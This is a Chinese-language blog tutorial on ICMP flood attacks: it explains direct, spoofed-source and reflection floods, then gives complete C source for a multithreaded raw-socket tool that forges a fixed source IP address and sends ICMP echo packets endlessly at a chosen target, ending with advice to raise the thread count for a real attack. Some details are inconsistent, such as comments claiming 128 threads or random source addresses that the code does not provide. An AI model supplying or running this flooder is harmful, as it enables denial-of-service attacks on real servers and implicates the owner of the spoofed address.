Linux网络编程之ICMP洪水攻击

1. ICMP洪水攻击原理

ICMP洪水攻击基于PING协议,通过发送大量的PING包来攻击目标主机,主要攻击有3类:

(1)直接洪水攻击,即通过多线程的方式一次性发送大量的ICMP包,其缺点是容易暴露,对方知道你的IP,可以直接屏蔽

(2)伪装IP攻击, 在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址来代替

(3)反射攻击, 伪装目标主机向一群主机发送ICMP请求包,这样,这些主机就会向目标主机发送ICMP响应包,达到攻击的目的

2. ICMP洪水攻击实现

建立多线程,向目标主机发送大量的ICMP包,以此来攻击目标主机.

#include <stdio.h>#include <ctype.h>#include <unistd.h>#include <stdlib.h>#include <sys/socket.h>#include <sys/time.h>#include <sys/signal.h>#include <fcntl.h>#include <time.h>#include <netdb.h>#include <errno.h>#include <netinet/ip_icmp.h>#include <string.h>/**ICMP洪水攻击:原理:一次性向ICMP目的主机发送大量的ICMP包让目的主机处理不过来,这样目的主机就会变得很慢,甚至宕机.直接洪水攻击:容易暴露,对方屏蔽你的IP地址伪装IP地址:伪装IP地址,进行洪水攻击反射攻击:伪装目的主机的IP地址向一帮主机发送ICMP回显请求包,这样这些主机就会向目的主机发送ICMP回显响应包,达到攻击目的主机的目的。**/#define MAXCHILD 2static unsigned long dest=0;//目的IP地址static int PROTO_ICMP=-1;//ICMP协议值static alive=1;//程序活动标志static int rawsock;static void DoS_sig();void DoS_fun(unsigned long ip);void DoS_icmp(void);static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数int gap=end-begin+1;int ret=0;//系统时间初始化srand((unsigned)time(0));ret=random()%gap+begin;//介于begin与end之间的值return ret; }void DoS_fun(unsigned long ip){ while(alive){ DoS_icmp();//一直发送ICMP回显请求包}}static unsigned short icmp_cksum(unsigned char* data,int len){//校验和函数,通用算法int sum=0;int odd=len&0x01;unsigned short *value=(unsigned short*)data;while(len&0xfffe){ sum+=*(unsigned short*)data; data+=2; len-=2;}if(odd){ unsigned short tmp=((*data)<<8)&0xff00; sum+=tmp;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);return ~sum;}void DoS_icmp(void){ struct sockaddr_in to; struct ip *iph; struct icmp *icmph; char*packet; struct in_addr src; struct in_addr dst; int pktsize=sizeof(struct ip)+8+64;//IP数据包的长度,IP的头部,icmp的头部和56个字节的数据 packet=malloc(pktsize);//为数据包分配空间 iph=(struct ip*)packet;//IP的头部指针 icmph=(struct icmp*)(packet+sizeof(struct ip));//ICMP的头部指针 memset(packet,0,pktsize);//将数据包的所有部分清0 //填充IP头部 iph->ip_v=4;//IP的版本,IPv4 iph->ip_hl=5;//IP头部长度,20个字节5*4 iph->ip_tos=0;//服务类型 iph->ip_len=htons(pktsize);//IP报文的总长度 iph->ip_id=htons(getpid());//标识设置为进程PID iph->ip_off=0;//段的偏移地址 iph->ip_ttl=0;//生成时间 iph->ip_p=PROTO_ICMP;//协议类型为ICMP包 iph->ip_sum=0;//校验和 src.s_addr=inet_addr("222.27.253.108"); iph->ip_src=src;//发送的源地址,伪装IP dst.s_addr=dest; iph->ip_dst=dst;//发送的目的地址 iph->ip_sum=icmp_cksum((unsigned char*)iph,sizeof(struct ip));//检验和,IP首部长度 //填充ICMP头部 发送ICMP回显请求包与ICMP回显响应包,因此icmp_type为8,icmp_code为0,数据部分为0 icmph->icmp_type=ICMP_ECHO; icmph->icmp_code=0; icmph->icmp_cksum=icmp_cksum((unsigned char*)icmph,64+8);//数据长度与首部长度之和 //icmph->icmp_cksum=htons(~(ICMP_ECHO<<8));//发送的目的地址 to.sin_family=AF_INET; to.sin_addr.s_addr=iph->ip_dst.s_addr; to.sin_port=htons(0); //发送ICMP包 int size=sendto(rawsock,packet,pktsize,0,(struct sockaddr*)&to,sizeof(struct sockaddr));//pktsize包含IP首部的长度 free(packet);//释放分配的内存空间}static void DoS_sig(){ alive=0; printf("exit…..\n"); return;}//主函数int main(int argc,char*argv[]){struct hostent*host=NULL;struct protoent *protocol=NULL;int i=0;char protoname[]="icmp";pthread_t pthread[MAXCHILD];//线程数组 int err=-1;alive=1;signal(SIGINT,DoS_sig);if(argc<2){ return -1;}//获得协议类型protocol=getprotobyname(protoname);if(protocol==NULL){ perror("getprotobyname"); return -1;}PROTO_ICMP=protocol->p_proto;dest=inet_addr(argv[1]);if(dest==INADDR_NONE){ struct sockaddr_in dst; host=gethostbyname(argv[1]); if(host==NULL){ perror("gethostbyname"); return -1;}memcpy((char*)&dst,host->h_addr,host->h_length);dest=dst.sin_addr.s_addr;}//建立原始套接字rawsock=socket(AF_INET,SOCK_RAW,PROTO_ICMP);//设置IP选项,手动填充IP头部信息,设置套接字选项setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));//建立多线程,128个线程同时发ICMP包for(i=0;i<MAXCHILD;i++){ err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);}//等待线程结束for(i=0;i<MAXCHILD;i++){ pthread_join(pthread[i],NULL);}close(rawsock);return 0;}

通过tcpdump可以看出发出去的请求包与响应包.

命令1: tcpdump

命令2: tcpdump dst host 222.27.253.108

说明:本程序中的IP地址是随机的,可以达到伪装IP地址的目的。在实际的攻击中,把线程数设置大一些即可。

总结: 本文主要是利用原始套接字伪装IP地址来实现ICMP洪水攻击.让服务器接收到大量的ICMP包,造成服务器超负载,从而达到攻击的目的。

细数门前落叶,倾听窗外雨声,

Linux网络编程之ICMP洪水攻击

相关文章:

你感兴趣的文章:

标签云: